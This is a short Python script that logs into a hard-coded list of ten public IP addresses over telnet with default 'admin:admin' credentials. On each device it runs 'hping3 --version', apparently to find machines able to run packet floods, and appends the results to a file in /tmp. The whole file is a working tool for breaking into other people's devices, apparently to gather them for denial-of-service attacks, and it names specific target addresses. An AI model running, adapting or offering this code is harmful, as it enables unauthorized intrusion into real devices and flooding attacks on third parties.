import socket, time

devices = ['103.138.60.243:23:admin:admin', '103.134.156.37:23:admin:admin', '101.255.158.242:23:admin:admin', '103.139.8.30:23:admin:admin', '103.124.54.54:23:admin:admin', '103.149.61.41:23:admin:admin', '103.124.54.30:23:admin:admin', '103.133.228.181:23:admin:admin', '103.136.64.22:23:admin:', '103.133.230.136:23:admin:admin']

for line in devices:
    parts = line.split(":")
    if len(parts) < 4: continue
    ip, port, user, passwd = parts[0], int(parts[1]), parts[2], parts[3]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(4)
        s.connect((ip, port))
        time.sleep(0.3)
        data = s.recv(4096).decode(errors="ignore")
        if "login" in data.lower():
            s.send((user+"\r\n").encode())
            time.sleep(0.3)
            data = s.recv(4096).decode(errors="ignore")
        if "password" in data.lower():
            s.send((passwd+"\r\n").encode())
            time.sleep(0.6)
            data = s.recv(4096).decode(errors="ignore")
        try: s.recv(65536)
        except: pass
        # Test hping3
        s.send(b"hping3 --version 2>&1 | head -1\r\n")
        time.sleep(1)
        r = s.recv(4096).decode(errors="ignore")
        open("/tmp/_hping_results.txt","a").write(ip + ": " + r.strip()[:50] + "\n")
        s.close()
    except Exception as e:
        open("/tmp/_hping_results.txt","a").write(ip + ": ERR " + str(e)[:30] + "\n")
